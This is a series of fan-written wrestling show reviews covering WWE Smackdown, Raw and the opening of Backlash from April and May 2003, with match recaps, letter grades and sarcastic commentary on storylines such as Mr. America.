Rating: D. Nothing to see here as usual, but that’s the case with most of the women from this stretch. We’ve seen them all fight so many times, including these two in the same kind of a match about six months ago. They need some fresh blood in the worst way as we’ve just covered everything that could possibly be done. It also doesn’t help that they were missing a lot of their spots, making this more sloppy than memorable.

Kevin Nash vs. Chris Jericho

Jericho tries to jump him to start but gets swatted away by Nash’s cat-like reflexes. A right hand to the head drops Jericho so Chris starts going after the leg (which HHH totally inspired of course). Jericho charges into an elbow and gets kneed out to the floor as I’m still trying to figure out why I’m supposed to care about Nash. A chop block cuts Nash down as you can’t fault Jericho’s logic.

The leg is wrapped around the post but Nash gets in a side slam as this match is killing the crowd in a hurry. As in there was just no reaction to one of his biggest moves (and it’s not like he has many others to pick from). Jericho is right back with the bulldog and a Lionsault for two. There’s the big boot but HHH and Flair come in for the DQ, though the bell doesn’t actually ring.

Rating: D-. Just for that non-reaction to the side slam alone. The fans are absolutely not caring about Nash but that’s never stopped them from going in a certain direction before. Jericho was trying here and the leg stuff was fine but there’s not much you can do whtn the fans don’t care in the slightest.

Shawn Michaels runs down to help and the good guys clean house with Shawn counting pins to end the show.

Overall Rating: D-. The Legion of Doom were a nice surprise to start things off and it’s just all downhill from there. I can’t think of a single positive thing about this show and the whole show is just uninteresting and bad. I’m really not sure I can make it that much simpler: it’s not good wrestling and the stories are even worse. Anything interesting would be an upgrade at this point as I just need something to hold onto with these shows. Unfortunately, I don’t see that happening anytime soon.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Smackdown
Date: May 8, 2003
Location: Metro Centre, Halifax, Nova Scotia, Canada
Commentators: Tazz, Michael Cole

With the pay per view right around the corner, it might be nice if they set up a few more matches. There’s only a few things set up already and unfortunately we’re likely in for more of the Mr. America story dominating the show. Last week’s segment was fine, but I have a feeling it’s going to overstay its welcome in a hurry. Let’s get to it.

We open with a long recap of the Mr. America story, which somehow seems to focus on Stephanie. Vince has vowed to take the mask off of America and prove it’s really Hogan.

Opening sequence.

Here’s Vince to get things going. He’s had a change of heart so tonight Hogan is going to be here tonight….via satellite from Tampa, Florida. That means Mr. America won’t be here because they’re clearly the same person. Even Canadians could figure something like this out. The YOU SCREWED Bret chants start up with Cole saying that means Bret Hart. Thanks Mikey. Vince: “You’re right I did and I’ll screw every one of you if you just give me the chance!”

This brings out Stephanie with Vince demanding to know why she signed Mr. America. She did it for the fans because she had heard about how big a star he was and all his experience. Vince wants to know why she did this, which Stephanie says was to counter Bischoff’s attempts to sign Mr. America, which is why he got the iron clad deal. The only way to break the contract is to prove that Mr. America is Hogan. That’s cool with Vince and he has Stephanie leave so he can interview Hogan from Tampa.

We go live via satellite to Hogan’s office, featuring a prominently displayed copy of his new book on the shelf, what appears to be a Divas swimsuit magazine on the table and…..a really big Home Depot catalog/book? Hogan says he wants to be back in front of the crowd because it’s killing him to not be out there.

He’d love to team up with Mr. America one day, even if there are some physical similarities between the two. Of course Hogan’s Pythons are bigger and he’s much better looking. Vince laughs it off and says we should see Mr. America right here in Nova Scotia. Hogan looks upset but quotes George Washington by saying he cannot tell a lie. There’s a chance that Mr. America will show up tonight, which is an idea that Vince loves.

I have SO many questions. Who in the world was telling Stephanie all this stuff about Mr. America without mentioning THAT IT WAS HULK HOGAN??? Who would have seen Mr. America wrestle in person and called Stephanie to tell her about him? Are we supposed to buy that Hogan was just off working independent promotions throughout his career under a mask?

Stephanie said she was told he had a lot of experience, which would suggest he’s been doing this for awhile. So some people who she apparently trusts called her and told her to sign this guy who Eric Bischoff was interested in as well but apparently either didn’t realize that it was Hogan or didn’t know/care about Vince banning Hogan from wrestling? Was Bischoff just going to sign Mr. America and hope Vince didn’t notice? Or did he have the same stupid sources too?

In theory this would have been a long term plan from Hogan but he was sent home on April 3 and the first vignette played on April 17. That would suggest that Mr. America was signed during that two week period as Stephanie couldn’t advertise him until he was signed. So he and Bischoff heard about Mr. American, got obsessed with signing him sight unseen, got into a bidding war to sign him, and then signed him in less than two weeks?

Back to the sources who hyped up Mr. America, did they sound like a San Francisco barber, a mouth from the south and a nasty sensation by any chance? Or did Hogan start doing this months ago on the off chance he lost at Wrestlemania? Oh and did Hogan sign the other contract “Mr. America”? And is he now getting two checks? There are so many questions I kind of need answered about this whole shindig. Unless this whole thing is Stephanie and Hogan being in cahoots with each other, this story really doesn’t make much sense.

Post break, Vince is told that Mr. America is here. So wait: did Mr. America pay off the production staff to lie and say they weren’t in Florida? Was the tape a fake? Did Hogan convince them all to fly back to Canada, set up a room to look like his office and then show up later? Why am I thinking about this more than I did in any class in college?

Matt Hardy vs. Eddie Guerrero

Back to back Side Effects set up a Ricochet for two on Eddie. The middle rope legdrop is broken up though and Eddie rolls some suplexes. Matt avoids the frog splash but can’t get the Twist of Fate. Instead it’s a middle rope legdrop to the back of the head for two. Matt tries another Side Effect, only to get rolled up (sweet) for the fast pin.

Rating: C. Matt was trying here, though I’m not sure what the point is in having a champion lose over and over. There are other heels you could have in this spot to protect the title but it’s not like there’s anyone around to challenge him for it at the moment. They could develop some more talent for the division but it’s not likely anytime soon.

Team Angle runs out and steals the gold medals back from Los Guerreros.

Big Show is with the FBI for some reason when some production guys carry a piece of equipment. As they walk by, a good sized guy in a blue mask can be seen.

Brian Kendrick vs. Jamie Noble

Brian is now officially Brian “Spanky” Kendrick. Before the match, Kendrick gets a CENA SUCKS chant going in honor of last week. Kendrick flips out of a wristlock to start and nips up into a kick to the chest. Sliced Bread #2 is broken up though and Kendrick is tossed outside where Nidia gets in a few kicks to the ribs.

Back in and a cravate doesn’t keep Kendrick in trouble for very long but a half crab has some more success. Kendrick fights up for a bit, only to get tossed into the corner for his efforts. An enziguri gives Kendrick two but he has to bail out of a moonsault. That’s fine as he lands on his feet and grabs Sliced Bread #2 for the pin.

Rating: C+. This didn’t have much time but they packed in some good stuff. As usual, these guys could be tearing the house down for the Cruiserweight Title but for some reason Matt is stuck as a midcard jobber. Let some of these guys have ten minutes somewhere and see what they can do, perhaps in a pay per view title match. Really, what could it hurt?

Cena is watching in the back when Mr. America comes up. John doesn’t believe his eyes.

We see the whole Big Show attacking Rey Mysterio scene from Backlash. Mysterio will be back next week.

Brock Lesnar is ready to team with Chris Benoit against A-Train and Big Show. As for the title match with Big Show, let’s make it a stretcher match. Do you know what that means? At Judgment Day, Big Show is leaving on a stretcher.

Vince is getting coffee when Funaki comes up to say Mr. America is here. The boss insists that he’s an impostor and makes Funaki make the coffee.

Here’s Mr. America as the first fifteen minutes of the show just wasn’t enough time. Vince and Stephanie are watching from a small office with what looks like the same furniture from Austin and Bischoff’s office last night. Even the plant is the same. Anyway, Vince insists that this is an impostor.

America finally starts talking and we cut to Vince’s panicked face. Back in the arena, America insists that he’s not Hulk Hogan. No, he’s actually a former 165lb accountant from Hoboken, New Jersey who bought Wrestlemania to see Hogan. There was something about Hogan that made him want to get in the gym and now he’s the physical specimen he is now. So he was 6’6 and 165lbs? That’s quite the odd visual.

Anyway here comes Vince to say that mask is coming off and Stephanie is going to come out here and make it happen. A quick distraction lets Vince get in a low blow but he can’t get the mask off. America shoves him away and right into Stephanie, who is knocked cold. The boss gets knocked to the floor and America carries Stephanie to the back. I’m guessing you can now add Stephanie to the list of people this story shouldn’t be about but will be anyway.

During the break, Stephanie was getting medical attention when Vince stormed in. She blames him for the injuries, of course. Vince freaks out and yells about Hogan.

Dawn Marie vs. Torrie Wilson

Sable is out to watch. They do a catfight for a bit until Torrie gets a sunset flip for the pin in less than a minute.

Post match Sable challenges Torrie to a bikini contest at the pay per view. Torrie unzips her gear to reveal a bra, which seems to be a yes. Considering Torrie is currently in Playboy and her entrance video is mainly her in bikinis, I’m not sure why someone is going to pay to see her in another swimsuit. The same is pretty much true of Sable but WWE doesn’t like to use common sense all the time.

Video on Kurt Angle.

Team Angle vs. Rikishi/Tajiri

Non-title. Rikishi knocks Charlie to the floor to start and sits on his chest for trying a sunset flip. He’s no Torrie Wilson. Tajiri comes in for a spinwheel kick to Shelton but Charlie offers a cheap shot to take over. A hard superkick drops Charlie though and the hot tag brings in Rikishi. Cole actually tries to convince us that Rikishi only weighs 350lbs, which might be the case if you cut off his upper half. Everything breaks down and Rikishi superkicks Haas and Tajiri adds the Tarantula. Shelton pulls Rikishi out though and it’s the superkick into the jackknife cover to put Tajiri away.

Rating: D+. The time issue strikes again as there’s only so much you can do with less than five minutes. Well that and with Rikishi in the match as he’s getting bigger and bigger every single week. I’m still not sure why Tajiri isn’t used in a more prominent role as he’s solid in the ring but stuck in jobbing roles like this one.

Los Guerreros run out and steal the picture of Angle and the gold medals.

John Cena vs. Rhyno

Kendrick is on commentary. Before the match, Cena promises to rip the nose off the rhinoceros and make him need a gynecologist. Rhyno hammers on him to start and kicks Cena in the side of the head to send Cena outside. Back in and Cena scores with a suplex before cranking on Rhyno’s arms. Rhyno slugs away but gets caught by the Throwback for two. Cena is back up in a hurry but walks into the spinebuster. Rhyno is down though so Cena goes for the chain. It’s Kendrick making the save though, allowing Rhyno to grab a rollup for the pin.

Rating: D+. Not a bad little power match here and it advances the entertaining Kendrick vs. Cena feud. Rhyno was playing it mostly even with Cena so it didn’t even feel like the last second fluke win. Cena needs a good win to keep his momentum though as he lost to Lesnar and is in a much lower level feud with Kendrick. I’m sure he’ll be fine though.

Cena goes after Kendrick and avoids a Gore from Rhyno, who hits the steps instead.

The FBI is planning something.

Judgment Day rundown.

Lesnar is on his way to the ring when he runs into Nunzio, who wants more respect. Nunzio hits him and gets Brock to run into a room, which the FBI barricades with a forklift. So he’s kind of dumb too? Big Show and A-Train are rather pleased and Show says he’s going to face Benoit on his own. Is there a reason Lesnar isn’t banging on the door to try to get out?

Chris Benoit vs. Big Show

Show has a stretcher with Mysterio, Benoit and Lesnar’s names on it. Benoit gets right in his face and is promptly chopped back down. Some shots to Show’s leg and head are shrugged off and it’s a big side slam to put him down. There’s a delayed suplex as Cole says Andre the Giant vs. Killer Khan was in 1986 (1981 really). Benoit fights out of a bearhug and dropkicks the knee, setting up the Swan Dive. The Crossface is broken up as A-Train distracts Benoit with the stretcher. That’s enough to set up the chokeslam and give Show the pin.

Rating: D. This was just a step above a squash though at least they kept it quick. Show beating Benoit with some help is an acceptable enough of a way to build him up for Lesnar, though the stretcher thing is another lame gimmick that feels very tacked on. They’d be better with something like Last Man Standing or a street fight or something but we get this lame idea instead. Also was there really a need to announce the tag match for an hour and a half and then switch it to a singles match at the last minute?

Benoit gets beaten down until Lesnar makes the save, only to take a beating of his own to end the show.

Overall Rating: D. The wrestling in the first half of the show saves it from being a failure but the overkill of Mr. America is already getting to be a lot. Aside from the litany of holes in the story’s logic, you can only assume that we’re heading towards America vs. Piper or McMahon (like O’Haire would get that spot). It’s probably going to be Piper and the thought of that makes my skin crawl. The story is fine for something simple that gets a few minutes a week but this was close to a quarter of the show. That’s too much for almost any story, especially one that doesn’t have a lot of depth like this one.

The rest of the show is up and down with some good matches that very little but not much in the storytelling department. Los Guerreros vs. Team Angle over Eddie and Chavo stealing stuff isn’t all that interesting and Sable vs. Torrie is what it is. That leaves you with Lesnar vs. Show, which isn’t doing much for the champ at all. Lesnar really needs a top opponent and Big Show just isn’t that person. Angle and Undertaker coming back will help things out but Lesnar has already beaten both of them. It might be, gulp, time to elevate someone for more than a month at a time.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Monday Night Raw
Date: May 5, 2003
Location: Metro Centre, Halifax, Nova Scotia, Canada
Commentators: Jim Ross, Jerry Lawler

It’s another new era as Steve Austin is the new co-General Manager, working with and likely tormenting Eric Bischoff, who has been abusing his power as of late. Other than that we have the slow build towards HHH vs. Kevin Nash while Goldberg is stuck doing almost none of the things that got him over in WCW. Let’s get to it.

In Memory of Miss Elizabeth. That’s still horribly sad.

We open with a recap of Bischoff suddenly trying to use his power to sleep with Trish Stratus and Lita, causing Linda McMahon to show up and name Austin the co-boss.

Opening sequence.

Here’s Austin with a briefcase to get things going, likely in the form of a list of things he’s doing as boss. Austin starts by thanking Linda (with a bunch of WHAT’S included, as it’s spread to Canada) for offering him the job and getting him out of the house. To celebrate, tonight we’re having the biggest beer bash in the history of Monday Night Raw.

As for the business end of things, there were some stupid things that happened while he was gone, including the Intercontinental Title being abolished. Therefore, at Judgment Day, there’s going to be a battle royal and the winner will win the Intercontinental Title, which Austin pulls out of the briefcase. That earns a big AUSTIN chant as he says that all former champions are eligible to enter the battle royal. He has another announcement but here are Bischoff and Chief Morely to cut him off.

Eric reminds Austin that they’re partners and a decision like the return of the Intercontinental Title should be a mutual decision. Austin says he was trying to make the show better and he’s been known to step on some toes. Bischoff brings up that he was the one who abolished the title in the first place and doesn’t seem happy. He eventually agrees with bringing the title back but he has an idea of his own. Therefore, at Judgment Day, HHH will defend the World Title against Kevin Nash.

Austin likes the idea and they actually say they like each other but Austin has one more idea. Actually he’s hired someone and it happens to be one of his best friends. The fans immediately get the idea and cheer the heck out of Austin as he announces the return of Jim Ross. Bischoff fires JR almost immediately and it turns into a Bugs Bunny/Daffy Duck (works for me) routine until Austin puts his hand over Eric’s mic. He says he’s trying very hard not to lose his temper, drawing perhaps the only LOSE IT chant in wrestling history.

Austin has an idea: let’s settle it with a match between himself and Bischoff with JR’s job on the line. Eric says no because Linda wouldn’t like it and it’s Bugs and Daffy all over again over whether or not Bischoff is scared. Morely steps in and is willing to wrestle on Bischoff’s behalf….against JR. Austin to Morely: “I think you’re extremely stupid.” JR isn’t a wrestler anyway, so who could Austin get to do it? Lawler stands up and offers his services so the match is on right now.

Jerry Lawler vs. Chief Morely

Coach is now on commentary on his own. Lawler takes Morely (in street clothes) down with some clotheslines and a dropkick. A quick piledriver gives Jerry two but he misses a middle rope elbow. Morely rolls some suplexes and hits his own middle rope elbow for two. Jerry fights back again but Eric trips him up, drawing the referee outside to prevent Austin from killing him. The Money Shot is loaded up but JR shoves him off, setting up the middle rope fist to get JR’s job back.

Rating: D. This was all about the story and there’s nothing wrong with that. There wasn’t any doubt to this one and they kept it short enough to not get too bad. JR is a far better choice on commentary than Coach so let him be back where he belongs. If nothing else it shows Bischoff up, which is where Austin is going to shine.

Post match, Eric slaps Morely and storms off. Austin calls Coach to the ring to congratulate JR and then Stun him off the team. Eh it’s not like anyone cared about him in the first place. JR and King really don’t care and celebrate anyway.

In the back, Bischoff fires Morely. Austin comes up and says Bischoff can’t do that without his permission. Morely: “Then I’m still here!” Austin: “No you’re fired.” Ok that was funny.

We recap Goldberg destroying everyone in sight last week. He gets Christian tonight.

Scott Steiner and Test have a pose off in the back until Stacy Keibler comes in to say chill.

Tag Team Titles: Rob Van Dam/Kane vs. Test/Scott Steiner

Steiner and Test are challenging. Scott chops away at Rob in the corner but a spinning kick to the face takes him down. The split legged moonsault gets two and there’s another kick to put Scott on the floor. Back in and Scott grabs a powerslam to almost no reaction. The elbow drop into the push-ups has Stacy’s eyes glowing and it’s off to Test, drawing a Stacy chant.

We hit the chinlock for a bit until a dropkick allows the hot tag to Kane. House is cleaned in a hurry, including the top rope clothesline to Test. Steiner makes the save though, allowing Test to grab the pumphandle powerslam. Kane takes the full nelson slam and drops his top rope elbow with Van Dam having to make another save. Test kicks Steiner by mistake though and it’s a chokeslam into the Five Star to retain the titles.

Rating: C-. Test and Steiner were a bit better than I was expecting here but at least they didn’t do something stupid here. Kane and Van Dam still have some more time with the titles and they’re the best option to hold them at the moment. Well until La Resistance debuts of course because they’re the kind of real life idea that WWE would want to push.

Austin hangs up a picture of himself in the office and has a few hundred beers delivered. Bischoff says we can’t afford this but Austin doesn’t want to hear it. He has a desk being brought in and shoves over Bischoff’s couch to make room. Oh and Bischoff isn’t invited to the beer bash. I still love the idea that it’s the same office every week and it just travels from arena to arena.

It’s Highlight Reel time (no longer Hi-Lite) and Jericho is instantly beloved in Canada. Jericho wastes no time in entering himself in the battle royal, which he promises to bring home to Canada. He also takes credit for winning the six man tag at Backlash and here’s a clip of the ending. Then we see Kevin Nash chasing HHH off last week and shattering the limo window with the sledgehammer.

This brings out the guest, which of course is Nash himself. Nash gets all serious and shouts that HHH is a dead man. That brings out the second guest: HHH. Nash tosses Jericho without much effort but Chris sneaks back in for a low blow. A loud chair shot to the back looks to set up a Pedigree onto the chair but Nash backdrops his way to freedom. They slowly brawl to the floor as this just kind of keeps going. Nash misses a chair shot but sends him into the steps instead.

The steps go off of HHH’s head to bust him open and there’s a belt shot to the head for good measure. Nash beats up some referees but HHH hits him in the ribs with a pipe. An electric light to the back keeps Nash down but he’s up fast enough to take the fight into the back. Even more slow right hands keep HHH down until a monitor shot drops Nash.

Some agents come in but Nash sends HHH into the side of an ambulance. HHH staggers across the street and steals a car to escape. If you start the clock when HHH first touched Nash, this was over eight minutes long, which will actually be longer than their pay per view match. It wasn’t even a horrible brawl, but it felt like it was in slow motion and it’s still designed to set up HHH vs. Nash on pay per view. That’s about as hard of a dead end as you can run into.

Post break Jericho is smirking at the chaos when Austin comes up behind him. Austin sees Jericho as a main event player and gives him Nash next week.

We recap the opening segment.

Booker T. vs. Lance Storm

Storm takes him down in a hurry and it’s off to an early Sharpshooter, making Storm the most popular man in the world for about ten seconds. Back up and Booker scores with some forearms and the side kick. The Spinarooni is broken up with a superkick for a very close two but the ax kick gives Booker the fast pin.

La Resistance hits on Stacy and tells her to watch their match tonight.

La Resistance vs. Tommy Dreamer/Spike Dudley

Spike starts in on Dupree’s arm and armdrags Grenier for a bonus. A low bridge sends Spike outside though and we hit the chinlock. The fans are WAY behind Spike and Tommy as Spike fights up and gets in a headbutt to the ribs. A DDT/neckbreaker combination takes the French guys down but Dreamer gets sent outside, setting up something like a double spinebuster to end Spike.

Rating: D. Another dull match but it helps to get La Resistance an actual win. It’s not like the division has any kind of depth so even a lame team is better than nothing. If nothing else it lets us see Spike get beaten up, which means some of his normally impressive looking selling.

Post match La Resistance beats on Dreamer until Steiner and Test make the save.

Eric calls Linda and wants to change things. He doesn’t want to resign but does hit on her for some reason. Linda hangs up on him to get away from this really weird new character.

Christian doesn’t want to hear about Goldberg because it’s Canada night. Tonight, Goldberg’s losing streak begins.

Women’s Title: Trish Stratus vs. Jazz

Jazz is defending and drives her into the corner to start. JR: “Jazz may be a female of a different kind.” Somehow Jerry doesn’t jump on that line. A slam and a legdrop give Jazz two but Trish is back up with a quick Thesz press. The Stratusphere is broken up and it’s Teddy Long getting on the apron with his shoe off, only to fall on his face. The Stratusfaction connects but Victoria comes out to offer a distraction, allowing Jazz to get in a belt shot to retain.

JR and King hype up Austin’s beer bash, though the graphic says beer party. It’s not a big deal but why is that different? It’s always been a beer bash with Austin.

Christian vs. Goldberg

Goldberg is in the bad looking half black half white shorts. Hang on a second though as here are Rico and 3 Minute Warning. Rico says the three of them are going to come down there, one by one of course, and take Goldberg out. Christian just kind of disappears as the trio hits the ring and gets beaten down. Goldberg spears the Samoans down and Jackhammers Rico for the pin. That was a match?

Christian pops back up and chairs Goldberg in the back before running through the crowd. Goldberg grabs the mic but Austin interrupts. Austin is ready to drink but Goldberg has a problem. He wants to get his hands on Christian so Austin makes another match between the two of them for next week, this time inside a cage. A ton of beer is brought out and a bunch of fans surround the ring to drink as well. This just keeps going for a few minutes until the show ends.

Overall Rating: D. I didn’t hate the show but my goodness those long segments were insanely long. They were really cranking up the Canadian content this week and I get the idea of not having Goldberg face Christian here for fear of having Goldberg booed, but why book the match in the first place? Just do what you did with Rico and 3 Minute Warning and then do the post match stuff as it went. Why create a problem that doesn’t need to be there in the first place?

Austin is a nice breath of air for the show but Goldberg is already completely overshadowed by both Austin and Nash vs. HHH, which is going to be treated as a big deal no matter what. Goldberg is going to be fine in the long run but I haven’t been as uninterested in a big new character in quite a while. The show wasn’t great but it was far less boring than recent weeks, which is an important change of pace.

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Smackdown
Date: May 1, 2003
Location: Verizon Wireless Arena, Manchester, New Hampshire
Commentators: Michael Cole, Tazz

We’re past Backlash now and Brock Lesnar retained the Smackdown World Title against John Cena in the Smackdown main event. Therefore, it’s time to get a new challenger to the title and that scares me a bit. Odds are we’re looking at Big Show again, because that’s what you have nowhere else to go. Let’s get to it.

We open with a look at Big Show attacking Rey Mysterio. Oh yeah we’re seeing Big Show vs. Lesnar this month.

Opening sequence.

Los Guerreros vs. Matt Hardy/Shannon Moore

Los Guerreros have the stolen titles but aren’t champions, meaning Matt, (Have you read his new Book?) who invented Mattitude, can’t win a second championship here. Eddie wastes no time and starts in on the leg with a hilo. Chavo slaps on a legbar and it’s time for some changing places with no tags.

Crash, that little Moore-On, gets in a book shot from behind so Matt can take over. We hit a full nelson of all things as we talk about Crash’s diet, which sounds like a stream of gay jokes. Chavo tries to make a save but gets his uncle stomped down by mistake. That’s enough waiting though as he comes in and dropkicks away as everything breaks down.

Eddie’s top rope hurricanrana gets two on Matt but Three Amigos are broken up. Moore throws Eddie into a fireman’s carry and it’s a swinging neckbreaker from Matt for two. The referee finally tries to calm things down, allowing Chavo to hit Matt in the head with the belt, setting up the frog splash for the pin.

Rating: C. At least Matt didn’t lose clean. Los Guerreros vs. Team Angle is fine for a feud and it’s not like they have anyone else to go after them at the moment. The tag division has fallen apart in the span of about seven months but at least we’re getting a good match here or there.

Team Angle comes after their belts but Los Guerreros escape without too much effort.

Stephanie McMahon says she signed Mr. America without knowing who he is or even seeing him. I’m sure she invented bad business ideas too. Team Angle comes in and demands their titles back but Stephanie talks down to them for letting Los Guerreros take them away. Less than thirty seconds ago she said she signed someone WITHOUT KNOWING WHO HE IS and now she’s being condescending. Anyway it’s a ladder match at Judgment Day between Los Guerreros and Team Angle.

Video on Rey Mysterio vs. Big Show, which doesn’t make it any less stupid.

Stephanie leaves Mr. America’s dressing room and looks somewhere between terrified and near tears.

Mr. America is coming. We know.

Big Show vs. Funaki

So, brilliant businesswoman Stephanie knows what happened to Rey, who is still in the hospital, on Sunday and then books this match less than a week later. Maybe she didn’t see the post match attack either? Before the match, Show basically says he’s going to kill Funaki. The early chops send Funaki outside with Show throwing him all over the place as you would expect. Back in and Show gets crotched, setting up a missile dropkick to the ribs. A tornado DDT gets two on Show but he lifts Funaki up for the chokeslam….and sits him back down. Instead it’s a hard clothesline to take Funaki’s head off for the pin.

Rating: D-. So now he’s stolen Bill DeMott’s gimmick? I’m assuming this is designed to set up Show as the next challenger to Lesnar, who is going to be standing up for the cruiserweights. It doesn’t exactly make sense but it’s not like Lesnar has anyone else to challenge him. It’s not like Guerrero or Benoit are available as a short term challenger, or just ANYONE other than Big Show again.

Stephanie is worried when a production worker comes in to say that Vince is coming.

Show glares at various cruiserweights until he runs into A-Train, who liked what he saw.

Here’s Cena to rap about how he busted Lesnar open on Sunday and had him beat. Of course this includes some shots at the Red Sox, which he manages to get through without crying. This brings out Brian Kendrick of all people, dressed like a rapper but with a big clock around his neck. Kendrick says, and I quote, “the name is Spanky McBarrel Scrapings dawg”.

He has a rap for Cena but needs a beat. Cena tells Brian Hebner to give him a beat….which he actually does rather well. Cena looks stunned and Kendrick raps about how Lesnar beat Cena on Sunday. Kendrick even rubs Cena’s hair as you can see Cena (make your own jokes) about to explode. Cena finally takes his head off and hits the AA, which Tazz finally dubs the FU. This was way more entertaining than it should have been, mainly due to Kendrick being so over the top and Cena’s great visuals.

The FBI shoots dice with a production worker and hustles him before charging him for autographs.

Chris Benoit vs. Johnny Stamboli

Benoit stops looking at the other Italians and starts chopping away, only to head outside to deck Palumbo. Nunzio trips Benoit so he hits Palumbo instead, only to get taken down by Stamboli. The gorilla press is countered into a Crossface attempt, sending Stamboli straight to the ropes. A backslide gives Benoit two but Johnny is right back with some elbows to keep him down. That just earns Stamboli a hard German suplex and the Swan Dive but Nunzio comes in. Cue Rhyno to Gore him down and then to slug away at Palumbo as the match is thrown out.

Rating: D. Stamboli could have been something with a better name (Johnny the Bull was fine), if nothing else for the insane gorilla presses he could pull off. Benoit needs to get FAR away from the Italians though as this feud is just completely nothing for him. I have no idea why he’s stuck in the middle of this thing when he could be fighting for the World Title, or at least be in the mix for the thing.

Actually let’s keep this going as a tag match.

Chris Benoit/Rhyno vs. FBI

Nunzio is the odd man out. We’re joined in progress with Rhyno stomping on Palumbo in the corner. A belly to belly gets two on Stamboli and it’s off to Benoit….but the referee doesn’t see the tag, which you rarely see enforced this early in the match. Palumbo’s belly to back gets two more on Rhyno and it’s back to Stamboli for a bearhug. Rhyno finally gets out of trouble with a spinebuster and it’s off to Benoit to clean house. Benoit rolls Palumbo up as Rhyno Gores Stamboli, sending him into the referee to break it up by mistake. The distraction lets Nunzio turn Palumbo and Benoit over to give Chuck the pin.

Rating: D. More bad stuff here as you can only get so much out of a team like Palumbo and Stamboli. The ending suggests that they’re going to split up Benoit and Rhyno pretty soon, which would be somewhat of a waste of a perfectly fine team but at the same time I’d be glad to see Benoit get to do something important again.

A nervous Stephanie calls Vince and tells him to not bother coming to the show tonight. As she’s talking, Lesnar arrives despite having the night off.

Video on Kurt Angle. I guess they want to keep him in our minds despite him only leaving about a month ago?

Here’s Lesnar for a chat. Brock had a heck of a fight with Cena at Backlash but now he’s looking for another fight. That would be with Big Show, who Lesnar saw bullying Rey at Backlash. If Show wants to pick on people that small because they have more heart, why not come try to bully Brock Lesnar? Show comes out and says he’ll fight Lesnar but only if the title is on the line. Brock says bring it on and seems to agree but Show leaves anyway.

Mr. America video. They do know they’ve already established this right?

Team Angle vs. John Walters/Aaron Stevens

Non-title. Walters would go on to become an ROH Pure Champion and Stevens (better known as Erick and not to be confused with Aaron “the Idol” Stevens who would go on to become Damien Sandow) would be a pretty big deal in FIP. Stevens wastes no time in rolling Haas up for two but gets taken down with ease. It’s off to Shelton for the jump onto Stevens’ back so let’s try Walters instead. Everything breaks down in a bit of a surprise and it’s an atomic drop into a superkick to put Walters away in a hurry.

Post match Team Angle demands their titles back so here are Los Guerreros to return the belts….and then steal Kurt Angle’s medals off the framed picture Team Angle brought with them.

Sable hits on Torrie, who isn’t interested this week. Torrie rants about the Test/Stacy Keibler thing at Backlash and does NOT want to team with Sable tonight. Innuendo occurs and Sable threatens to have Torrie beaten down again if she doesn’t get what she wants.

Torrie Wilson/Sable vs. Dawn Marie/Nidia

What does it say when Nidia is the best worker in a match? Torrie gets jumped to start and Sable calmly pushes Dawn (who has dropped the Wilson name in a story that the company has likely forgotten) away. Nidia grabs an early suplex for two but gets caught in the swinging neckbreaker (the one move Torrie can do) for the same.

A clothesline knocks Dawn off the apron, allowing Nidia to kick at the leg to take over. It’s off to Dawn for something like a Vader Bomb onto the legs but a second attempt only hits mat. Sable won’t tag though and Torrie taps to a half crab (with Dawn making it look more like a Disarm-Her on the leg than anything else).

Rating: F. Now who would have guessed this would be terrible? Normally I can appreciate something like putting in work on the knee to set up a hold but when the wrestling is this bad, there’s only so much you can do. I’m not sure what else there is to say about something like this. They’re just not good at this stuff.

Stephanie tries to call Vince again but he arrives and wants to meet Mr. America. I guess this is Stephanie’s version of bad luck or finally having someone get something up on her. Makes sense actually. The only person you could possibly buy beating Stephanie is Stephanie herself.

It’s time for Piper’s Pit. Roddy makes fun of Chris Jericho for mocking Piper’s weight. When Piper loses weight, he’ll call Jericho. When Jericho gets some talent, call him. After praising Sean O’Haire (in the ring with him) for winning at Backlash, Piper calls out Mr. America, who of course is Hulk Hogan under a mask doing the bit where everyone knows it’s him but no one can prove it. Cole and Tazz set a new record for Hogan references in a thirty second period as Piper is beside himself. Like, more than O’Haire is beside him.

Piper accuses America of being Hogan, but America thinks that’s ridiculous brother dude. America threatens to beat him from sea to shining sea but he is NOT Hulk Hogan. This brings out Vince with the biggest eyes you’ll see on him this side of an Austin segment. Vince yells about the whole thing and says Hogan is suspended so he’s going home again, this time with a lawsuit. Vince: “You’re insulting my intelligence, and that’s something I just won’t stand for at all.”

Mr. America is fired but that won’t work because of a clause in his contract saying he CAN’T BE FIRED OR SUSPENDED. Stephanie signed someone to a contract without seeing him and HE CAN’T BE FIRED. So not only is she annoying and on screen way too much, but she’s very, very stupid. I’m not big on Stephanie but that’s WAY out of character for her. Vince panics and we get a “God bless America” from America to start a weak USA chant. That’s fine with Vince, who goes for the mask but America cleans house and bails. Pyro and confetti come down (with Piper covering a downed Vince for some reason) to end the show.

Here’s the thing: this idea isn’t bad as a one or two off joke. Think back to the days of the Machines when Hogan Machine or Piper Machine showed up or Juan Cena. They were really stupid but perfectly harmless, especially when the segments aren’t even trying to hide what’s going on. Everyone is in on the joke and it’s over in a week or two with everyone having a good time and laughing along with it. That works just fine.

However, that’s not what we’re getting here. This is the big story on Smackdown (and pretty much in the entire company due to Vince and Hogan being involved) and is likely setting up America vs. McMahon or Piper. It’s probably going to go on for weeks if not months and completely overstay its welcome. One of the worst things you can do with something that should be funny is to drive it into the ground because then the charm is gone and it’s just stupid stuff getting way more time than it should.

If this was a three minute segment to set up a five minute match with America beating some foreign monster, then fine. The problem is it was a fifteen minute segment that is going to spend weeks likely building to America vs. Piper in a match that’s going to set wrestling back fifteen or more years. In other words, the horrible 2003 rolls on.

Overall Rating: D. Other than the ending segment, this wasn’t the worst show in the world. Above all else here though, everything is built up to the big Mr. America segment, which requires Stephanie to be horribly stupid and a bunch of talking about contracts, again. The wrestling was nothing special as usual but the problem here continues to be the horrible storylines, which are neither quality nor interesting in the slightest. Bad show, but more uninteresting than anything else.

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Backlash 2003
Date: April 27, 2003
Location: Worcester Centrum, Worcester, Massachusetts
Attendance: 10,000
Commentators: Michael Cole, Tazz, Jonathan Coachman, Jerry Lawler

If WWE held the least important pay per view in recent memory, does it matter in the slightest? This is a glorified Raw pay per view with a handful of Smackdown matches thrown in to fill out the card. It’s a really bad time for WWE at the moment and I don’t remember looking forward to a pay per view less than this one in a long time. Let’s get to it.

